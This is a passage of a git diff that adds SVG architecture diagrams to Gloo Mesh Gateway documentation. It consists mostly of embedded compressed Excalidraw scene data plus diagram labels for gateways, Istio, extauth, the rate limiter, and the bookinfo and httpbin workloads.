MkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8XHUwMDA3XHUwMDFhXHUwMDE2P3XLovz0WmpWn+MomszG0OTmXHUwMDBmWoV1dNL9gkekfaBcdTAwMTY8aZ/x+2jG1VwiJGKd3vBfz9DSPu7nM6Y8oM/4i2hcdTAwMWbcXHUwMDE0pDhjPMSuryPwvmpxNJ5UR+MjXHUwMDExvzWMaZX4/Z7t7sxPXHUwMDEyz0NcdTAwMWZKlUSMsOB223v5Y1bPXHUwMDBle/f1z+vzaVxcfSQvenfbXHUwMDEwv69MYiDSXHUwMDAyy00jJs3zSlx1MDAxMoM2Rz5CYVx1MDAwNK8jwYmn+Fx1MDAwNohp2TPxkzApLNmpXHUwMDEyv9xzanBcdTAwMTNcdTAwMTOMPsUuyqPsXHKajaVHuPQ38dt83Fx1MDAwMy3vaVxym8+83TevYrpcXLub5sb9x2TivrWP4MVTWYV1fNL9gkfkk9KWJraijaTWQjOJg7sh/JczpHRSSUr89Fx1MDAxMeOWWugjujKvXHUwMDAz00nikjnHQUdihL/p5JmNTjZG40av4kohsVxcevfeKORcdTAwMWHu5fBcdTAwMWT+mOFcdTAwMGXEkXqKKkaMaaxcdTAwMThcdC6rXT67ulTPXHUwMDFk9t69l+xa5Fx1MDAwNun7ariZoyZcdTAwMTJbwFx1MDAwZrnEXGaehV6RVIotJjUhyCQ9XHRvSVxywlx1MDAxYz2D37ZijopcdTAwMTAhXGJcdLPM+qnJXvWjnFx1MDAxOTy3ulElePdxwFx1MDAxYu1O7Js57os5XHUwMDFlaHlcdTAwMGY07JPOakVVrtkqXFxcdTAwMGZrapJ4XHUwMDFmTJp7WIVMXHUwMDAzRTqynn9sPt48fIh2RFTr7X1QR1SWtVwiXHUwMDFhpvHT+LGYTKAkXHUwMDFldPcwLmiLampYL8qPcT3XTJUu06+1yVx1MDAxZcatNK5l8iUu8q3Pu3YpLWPoc7KP3PJT2WXrKLT7XHUwMDA1j0mhhXdYOkVKcoF4cI+O/3qGlEODZlx1MDAxNr6aXHUwMDE5Xl1oZu/CXHUwMDE0X+WSXHUwMDE1SFxuTalcYrEn51xiXHUwMDFjOtnu9c4y1VH97J9usba0wF/gkV1DSFfp9GKyP6a6lehyW3GK1VN4pYVEXFxcdTAwMDVn1IOM6kdmLP6YXHUwMDFk5XPRUv/u4u1cIvTWL0acIItcIs1cdFXz52XRZZhYXFwrXCKklEjh1YnZXHUwMDAyhpVgRf+gYl/RJdylZoUtSOKX6FKmtVSan2h0ZEQkavft99uXq2lcbjVcdTAwMDaJ2WWWXHUwMDBlXHUwMDBlXHUwMDFmYuZcblxmaumvPsBQ6vVaje5b72zSXHUwMDFituBcdTAwMGWWq67IQPjSJ4Mjw7jX94KFpcmvYoDLvHxh4MeKuuCA8Fx1MDAwZaZjYLpJrUTwQ1X/W1x1MDAxY0rLXHUwMDFhUID6pVx1MDAxNjCOgp2pXHUwMDA2QFx1MDAwMW/TXHUwMDFhXHUwMDExi3AqsTa62Vx1MDAwNDE6XHUwMDAxXHUwMDAxrG+phVBcZmaJsKBO1c41wlx1MDAwNqqOXHUwMDE4ZXeQLDPbXHUwMDA1i8NxrNGtNLo1eG2BMb/qq11cdTAwMDbQRnOZL7/PXHUwMDEzXHUwMDExLc65YpQg+IFcdTAwMThb0DOzdsW+mZz1g9fNn1x1MDAwNaHs51x1MDAxYn5T+L+r3cpiSkvTbVx1MDAxN0fjeK/TaYzhi971XHUwMDFh3bHrXHUwMDE3ilx1MDAxYdGsV4tcdTAwMGWZh5Htr63KcN+MuHxrXHUwMDE3/3e22ObzX37////7j+u7I95b0DxcdTAwMWObbzHeX/afXHUwMDFih/Iyz8wmgpSpbMdwcPiZpLu1QWusb5KRWCxVTE1Sr555gOGBXHUwMDFm4lx1MDAxN1xmXGJcdTAwMTbU/pLCveCHMFx1MDAxN1x1MDAwMlwibefPv9JYXHSYMuqovrzDXHUwMDAyzE5cdTAwMTQh8jaEN4LQjv7pdoudqjdbXHUwMDEw29pcdTAwMTG7slx1MDAwNfcpbie5yjtcYl9zYTK0bedJ6yT3+v3hpZebfNLzyyhp3XTub1xu5WzoJZcyi3hKrqR0f1x0vJ6SS11Sdl0kV2lcZrMgLMTUwM90OFJcdTAwMGXinnDB3NBww4LbXGa3MydcdTAwMTTzPKmjQlxuXHUwMDA0XHUwMDBiXHUwMDFl3K3gn6hcdTAwMWRWVCDaUlx1MDAxNDilNpbFaplcboGoXHUwMDA1skgwplxuXHUwMDE4zm6Zyj5lKiyuNVx1MDAwM1x1MDAxY+bAsNRcdTAwMDJ7fmNcdTAwMDSyXHUwMDAwXGaQ5tpU1JCAXHUwMDBmzOlvYEJcdTAwMTOGhTyiv+FL7YlV8r3e0vAvPLFkaVx1MDAxMMpcdTAwMDXFXG7BfSVcdTAwMDSW3cXUIFx1MDAxNieSgurUXHUwMDA07DhBtMPWOC2LwmtcdTAwMTfOX3XZgFx1MDAxYtpcdTAwMTSeXHUwMDE4XHUwMDA0skVX/2yrl4AxXHUwMDE2KHi9XHUwMDA0f91cdTAwMTNiXHUwMDEwQmCqwepSym1cdTAwMDDwg5pcYmHNXHUwMDBiozJcIlx1MDAwNJViZWKHXHUwMDAxIeJcdTAwMTIugCxNqIQ9QFx1MDAxMFx1MDAxM8bn7FJpXG5LXHUwMDEwXG6N/1x1MDAxNFx1MDAxMPKCXHUwMDFhf4a8XHUwMDA0NaB5wIqXXHUwMDFjXHUwMDEzSkDLYNubfiBcclx1MDAwN9qKXGInZmm5RoI7gCZcdTAwMTD6+VdcdTAwMTJZnlx1MDAxMtGgS5CAO03nV3aBP5PQ+mtWgsDG/XfB32L/zz/v2PlcdTAwMWKin3dUoyf2SclcdTAwMDRQXHUwMDBmXHUwMDFk3KFcdTAwMTLNvk9uppPyTbl/XHUwMDE16949xarPuXj4z3VcdTAwMThFllx1MDAwMNSjXGLDM1ktS45h/1x1MDAwYqYpY4CAciePrv+5jlxmdK5DXHUwMDE43H9cdTAwMTLm3Ojf11xiT8Xw3Uyzn6kso7Cd6rjMa0tcbiRtqXCO+mpCKapcdTAwMDRcdTAwMGVcdTAwMWWZ4X+TQ8qBXHUwMDE4llx1MDAxNkZCSVx1MDAwNdqHO+rHmnKBpihcdTAwMWZXmOqdXHUwMDBld338qtSC11x1MDAxNDZcdTAwMTRcdTAwMTfBQIt7sjjWoVx1MDAxNiMwP6zAZMTOSrKAVlx1MDAxNDOQhn9bKdlNXHSQvy5aYlx1MDAxYtRoXXNcdTAwMTBcdTAwMDa2hamJ7eRcdTAwMWHU4rDiwDWIxkIsbI9cclx1MDAxOZB/146lOcFCXHUwMDEwLVx1MDAwNOdMUlx1MDAxM3cvnZMyflx1MDAwM/iHKUak2ZfOSZ1cdTAwMTRcdTAwMDHy3v3msbrvN6Q//lx1MDAxNcCUZ/lszsyNxzQ4XHUwMDA3evm4blHZfFx1MDAxZNZcdTAwMWFqNImwfjRyO9tcdTAwMDb7vrDAhCZ+R9qcc4uLPVx1MDAxNZhYjVvbLVpcXIDMUnKylSXzb1x1MDAxZqP7QrmVo+V0qV57+6xcXPJzdzJcdTAwMTSGaPFKNE/1c/FCZlx1MDAxZpql+udTK9uK4j2MXHUwMDFiyb+QcTNRr7d1XCLbYU/1SLr5vIdxXHUwMDBmtLynMuy68GD3XHUwMDBi7odv+4Kx51x1MDAxOSH3JKFcdTAwMDQsUWP0XHUwMDA098P5L2dIbVFAYu6HxJJaaE9IvC46eC1cdTAwMWE7XHUwMDEz7rRGpppcdTAwMWFcbrFpeoRY4f6wV3kvj/vFmrvVeKikuzVEZNWWtE9zeyrFbeuyakdcdTAwMDKp41x1MDAwMtuPoNfJcEadk97o4aFAO9Fr2U+Wk4VaIeRcXEr6VlNcdTAwMDXCsjdcdN43l9JYa4bViTbTavLI8G46eL14yETir9P4LYo+Xe+ulVx1MDAwZjTsqVG0YeWq2KjURrzycfvcLb7lL0k8v4dxT+uu7X3YdVx1MDAxNM39gkekaGBcZnviu1x1MDAwNuwzKVx1MDAwN8H9hP7rXHUwMDE5Vo4mfWupXG4t92Ytb1FcdTAwMDXB2eSNaMQ1U8dcZstcYiErq1SBK7VH7oxMLb19b4xsXHKdWWVkv6a4XHUwMDAzXHUwMDFik96NIEzHXHUwMDE0U2otuLRcdTAwMTYv6vnCW6qezLcj4/7g8l6Oz1x1MDAxMyFnY1x1MDAxYfuxMalFWNlcdTAwMTg2PZpcYlx1MDAwZXVccmQ/VXnZqqGXp0S1rKuVLo7HU8n77O3uXHUwMDFh+LSGPVx1MDAxNGs60HSnmVxcqn//XHUwMDExlZXojJdn/Wo53kuEd7p7XHUwMDFmdlx1MDAxZFx1MDAxYnO/4DHZmPfBhUlcdTAwMWUnXHUwMDAynoJcdTAwMDfV+69nWNlcdTAwMTiApFx1MDAwZsIrc3R3PDbmcJFRboJ3jppzXHUwMDE3QjI2LI5cdTAwMWLdmlx1MDAwN1x1MDAxOTuQe2xccptZJWO/prhcdTAwMGJcdTAwMTnzXHUwMDE0VoJAVo35XHUwMDE0WFajkW5iVFx1MDAxZF29Xd3NZIfHbkuFaMj7XGbBO1x1MDAxNPF1jeGwkjGCKeNcdTAwMTiJYzbK3qkn1/3N+02veTd9XHUwMDFhPMrhMHOXQii1u1x1MDAwMj6tYVx1MDAwZnXKeKDpXHUwMDFlioydyk1bR8bcL3hUMuZZIVx1MDAwNVx1MDAxM6w45WSD4kb+61x1MDAxOVIyZiDer1x1MDAwYrvQKlS+McVcdTAwMDTFjIe5Qsox2Fj1o1GdfK1rbFxyn3GwsZ9T9Fx1MDAxNVTvaFeCPZORKVVEYk2CS6r/kctGkrpawv2QZlx1MDAxM2dcdTAwMTahVJiIVlwi+UrMuyDS0lRLXHUwMDA2lFx1MDAwNzPhnfGzq6AqMM+o4JIzqeChXVwiXlx1MDAxObE0UlQjLDBR1EWKhaKIij8+4tX/wP9sXHUwMDExXWqS6YDOMoSYokJcdTAwMTg3ge1dv0NeqVx1MDAwNEGgmFx1MDAwYlhbKbdcZnn193kvT4pijIkh2rAmXG5rZ1x1MDAxY662XGJmXGZcdTAwMGKhXGJoXHUwMDEwgrBjTidcdTAwMTXx6rn5zcOx7Vx1MDAxN8P9Zf+5OfpR5Fx1MDAxZKPBTL1cdTAwMTbCZPCka39aXHUwMDFkUviDd1BtMYFN2lx1MDAwZlx1MDAxOHZO/NNcdTAwMTbWglJCTT+aw1x1MDAxMVx1MDAxNVx011GmjFx1MDAwZVwiSCGuXFxcbjlRYFRcdTAwMWFuXHRhap7qtlxufybaXHUwMDFmQJxcdTAwMWSzXHUwMDBi7mnhXHUwMDFmII2SsF5EK46ZXHUwMDEywpnyiJlcdTAwMDV3X4JcXFxuTTloy19cdTAwMTWMNoQ/f16zPCdgotLkmcHFXHUwMDE4odxtTkhSXHRcdTAwMTOGXHUwMDFiXHUwMDBlQsrIScOf59Y3j9VNvyH4+TvisGfKI+fmoFxc6uBO8+r1Ra1cdTAwMWGJ1qvDeP1ulC5l+iXa3Fx1MDAwZf6+spGDID6laEyFu0BmWpB8b0xKIEQuyIeQpe1cdTAwMGYn8mHiTG9cdTAwMTJg2lFgJCF2oP++houbxL9EydJcdTAwMWX+sr7J/sKiPb3WJvNcYuhcdTAwMGLaoN7jSy3zVOqpznDY+szN0qrSqVdOQFioj7BcYuNR/lx1MDAwMmFxilx1MDAwN8Cmly97QVxyNIBcdTAwMTk6JjXYyW99nDpOO0hcdTAwMGLxPuPBQCaw2qBjXectXCLKVd14jkX65etYbpAsXGanXHUwMDFl0lx1MDAxMpIzXHUwMDFljZhfjTPO5f5aXHUwMDE17zn6XHUwMDE57DDFTrZV8bvkr9Pi7Fx0yWd1+Vx1MDAxY1x1MDAxOSSK2WePtPowhCnXXHUwMDA3fFjv5MblQktdsWlCyN7Fy1x1MDAxZcbVlzf8XHUwMDAy38puO559b1RKOqVmelx1MDAwZuNcdTAwMWVoeVx1MDAwZjRs/la0k8n8q3y/7o1u84/qdVBcdTAwMWKGd1x1MDAxNVx1MDAxMjcvn1xixydZPVOvsenwTcZcbndhnO66Iyn3XHUwMDBifoFO8kyo8yZvXHUwMDE4g3GFXHRRwU1cdTAwMWT/9VxmKXtcdTAwMDONpP00kuTBqm5cdTAwMWUro05qjkmY85v/oIy6NYTsQFx1MDAxOXXc86yKmIJcdTAwMTVio1x1MDAxMpn9SfGxUL5cdTAwMTWXXHUwMDFmo8Jn467ULlx1MDAxNuz93cLIKZVSyM/+UmRvXHUwMDEyvPdcdTAwMThuhDTg7Kk6K1x1MDAxZadcdTAwMDPM6ST9VitcdTAwMGXksPM5io8vMrvr+1x1MDAwM1xye2pcXHVWT1eyhfdStHxXm5SGqWfZLVb2MO5p3bVTXHUwMDE5dlx1MDAxZPdzv+BcdTAwMTG5XHUwMDFm9y6mIKU5YeAkOPXzX86QUj9QXHUwMDFj3E9xaL03Z8ReXHUwMDEy9ajkSFx1MDAxY7ddQlxiyd4xXHUwMDEy9dawpP0n6lx07N1b3ESGmz4rgYU1Wbl7nUbTl4mbYaVCXHUwMDFhN/3ULXtcdDfHM1x1MDAxZMP9eiNoXHUwMDE1Wo7HNCWC4DDHXHUwMDEw+ilKPU28dC8nKZHNPlI56jxMR1FcdTAwMGbWtIn+Pa1hXHUwMDBmRcVOa1x1MDAxNU5l2HVUzP2CR6RiwjvcVCjK51x1MDAwN0OB0d1/OUNKxVx1MDAwMN/9qJjC/JhUzOl2XHUwMDEzSmiGvksm/NjeR8zSW8Nl9p+lJ5B3gVx1MDAxM06UiVx1MDAxN1xmzsRInYhp/fW1kb78aD7cqfveOOZVXHUwMDBmPSxMXGbk09fbXHUwMDE2sEvV1zMxPu+Tok/V2XY7TFRKY8Rue+lrVuk/9SeFaWl37Xtaw1x1MDAxZer89rRW4VB09FRWYVx1MDAxZMFzv+AxXHSed9VDQjmiSGxA8PyXM6xcdTAwMDSPYOxnwKOAXZG/iOBhrSjWUobZalx1MDAwZlvm34FcdTAwMTjeXHUwMDFhjrTnzD/q3epLK5NrXHUwMDEzPDzP/1xcKKSJL1x1MDAxYUlpmVaCXHUwMDAyXHUwMDExXHUwMDEzW79K7yiysPqavD9KwPblXHUwMDFj4Xk8t1Nq1+b9MUxcdTAwMDT8c8yQvVDkvfiHJZwt5/0xSVx1MDAxNDI5rlLAZlcuWSZ7Svzz96GfeSf+UezMRvz3Jf65737zOFxc4lx1MDAxZvM+ZVx1MDAxMCaOXHUwMDA0s1xyWjD7U/Wwwlx1MDAxZlx1MDAxNsSCjY+44oxrvlx1MDAxOOUn/GGLsa9J+6OmuYuCXHUwMDFkXHUwMDBmXHUwMDFiwFamMXDaXHUwMDFmXHUwMDEwLkVcdTAwMDRcdTAwMTf8iMeFp1x1MDAwNX+m0Vx1MDAwZtKEUMyIUlSgw6X9+ZOaM8+0P4b/hLQ/961vXHUwMDFlO6b9eUOfX2JcdTAwMDa8RkyDr8DQ52+fh1x1MDAxNfpcYqWwuJKB2GFMV1x1MDAxYpxJLi3OpeawXHUwMDFh0l7lee/QZ7az5lx1MDAxYWvYyYRLN3tccnaBqX5KXHUwMDE0XGJcdTAwMDZcdTAwMTA8XHUwMDA39nHAXHUwMDBlXHUwMDEwXHUwMDE5dMRyXFyhgL7AMFx1MDAwM1x1MDAxY4shZpRcdTAwMDXRoDRcdTAwMTDByKWjKlx1MDAwN3rImZFLwsBC+N1jdEPw8/fZr8xcbkSdzVx1MDAxZOswJS2Uy6yohVx1MDAxMFx1MDAxMZJT04lZYuzsPntK8Fx1MDAxN/Hc/+bh2PlcdTAwMWJcdTAwMDKg/9GGdyQxRvOiN2yD/jptXFxcdTAwMWalY8lnNnm/indniWxcdTAwMTTV6+E+21BaXHUwMDAxv1PGbtTmeXHlOVx1MDAwNFx1MDAwMvDtLzvNs831dlEmXHUwMDA0kFspXHUwMDE05kSA39dwS+R808OH5CzRp1QnyrpEaqxpb3x4tp3n+VAhv+ev2TjOsKtJr5TBdy9jnU59XHUwMDA2bFLrO275o5SUiW6smWvQXHUwMDA3lZrmmvFzXHUwMDBmT/lmNf1cdTAwMGWzvFx1MDAwN1x1MDAxYbYyPM9WXG7DZrt7novn3io88qqif9wqJC8/W1FRvU5X6JhPXHUwMDFh2aeGqO921LW2YqLrXHUwMDE3WVxm61x1MDAwMIGDXHUwMDFmm9is2tUybJyBdbuJO9b/NoX02Fx1MDAwNDSS8NNILGB22upJ+oGOTVxiplx1MDAwMktcdTAwMTnqplx1MDAwNEc4NoFcdTAwMWbF93Hdvvy7XHUwMDFmm/j0XHUwMDA0X8e9Vs9Mfs1vXHUwMDA36qg9JVx1MDAxNVx1MDAwYopcdTAwMTVe8patdVx1MDAxZM7ib7FR7KF/0dTVXHUwMDFhO3++u25cdTAwMTRDT1x1MDAxZInFNSdUIfMsl1x1MDAwNZWK/eVcdTAwMTLsmzoqQFLNJFx1MDAwZfFRp5+ebE14dVhcdTAwMWSTJ167lJeJROb6jce/qeO+qOOBlvd72ENcZruO4blf8PCE9MuZoz1ww9n4hGiiXHUwMDE0XHUwMDBmXpbK/z6FlzpKP41cdTAwMDSvhok6YkW4UkLqXHUwMDEwq6HjxFRXz9qNTmOJXGZ+QdjNXHUwMDFhXHUwMDBl5lx1MDAxMli9mOdcdTAwMGU80rtcdTAwMDdcblx1MDAxODtoXHUwMDEz/+NtdlwiRXEw61x1MDAwZfrTJ/w0bqTfdSv0JFx1MDAxMvlZe3tMSN0ziaRcXDLOWZhTU/1U203ktvzRS7f01edb8zVbf0tmrz3qyH1zyM3HPdDyflx1MDAwZntCw66jpu5cdTAwMTc8JoWk3kl5UioqyFx1MDAwNok+/stcdTAwMTleXHUwMDA2yX3UXHUwMDExxWFjkExILuUxT/3DyCCrlcbXRmyvYV7OiG0zwe05o5SeIdtSXHUwMDAyJSGbJFc8zKp88lqVmdF1XHKVazpyQ6tX27DGr2yqRChcdTAwMDZJlEyg+fOymIKta2lChWBcXFx1MDAwYoJ86lx1MDAwZs9cdTAwMWb+rLFUZaVKaV+sUTC4P/KoXHUwMDExijtcdTAwMWRapyhv38tcdTAwMDa5/5i+vET5sJLJeThEvlnjXHUwMDE2x7WHWd7vYeG900m7eSFuMtHmw5W4182n1KtX+at/5T1be1x1MDAxNO56wSOyUeVdXCJcdTAwMDKIXHUwMDE5VZhLXHUwMDE0vMqj/3qGlI5cdTAwMWE9J3z0XHUwMDFjXHUwMDEzXHUwMDE2W+g571x1MDAwMNWvoqMmQYbI71bOPzf4T7bXXHUwMDE4jVx1MDAxYr3Kl/LRNZxulY/+nOFcdTAwMGWEVHum0SiptVCSXHUwMDA0t1x1MDAxY+O5YnKWfcxO4i+tp1x1MDAwZvR0Xej078JNSLVcdTAwMTDcQp4nXHUwMDBmmphcYn+FkSnqJfhqhPtmhHTfYZRMUYZcdTAwMTBcdLFcdOmnJ3ORfos+adFcdTAwMWGV3rv95EOmXHUwMDEwXHUwMDE58m9Gui9GeqDlPa1he8/dceHqYopcdTAwMGLT4lOr/5nITT7xXHUwMDFlXHUwMDE2t0toJtF4uWY0P/xUZVx1MDAxNp9cdTAwMTUvLvcw7lx1MDAwM0q93aqH9+YnK5Q+c1x1MDAxZn1diVx1MDAxN/6gzbCO6rpf8JhUl3j6c7DSmDEqN1xi+/Rfz5BSXS0k8tOglFkqiFx1MDAwNj1cYtW15dP/XG77pMgkjIVZa1x1MDAxZYHpJtu93lmmOqqf/dMt1pbW10Z62fJcdTAwMDf3RnrX8MZV0ruY7I+pbiW5Pp5YLDCTimBcdTAwMWFcXHJ7V63y61x1MDAxM8vXXHUwMDFhnfEwiT+vrklfhF1ylVx1MDAxNtpinEpEJFx1MDAwNdFdllxcqlx1MDAxMbIkIYSbwv/Kt1x1MDAxYtx68usrusx2fLXIXHUwMDE5d2aJwzyIVCfb12qHXFyRXVx1MDAxNJsrMqilv1x1MDAwNkKGJFxccFKcnpV7nX6vO//CbiBhq22ytyDxpa/hXHJcdTAwMDcuM/TFXHUwMDA271x1MDAxNGshPM1iglx1MDAxNEFM0lxy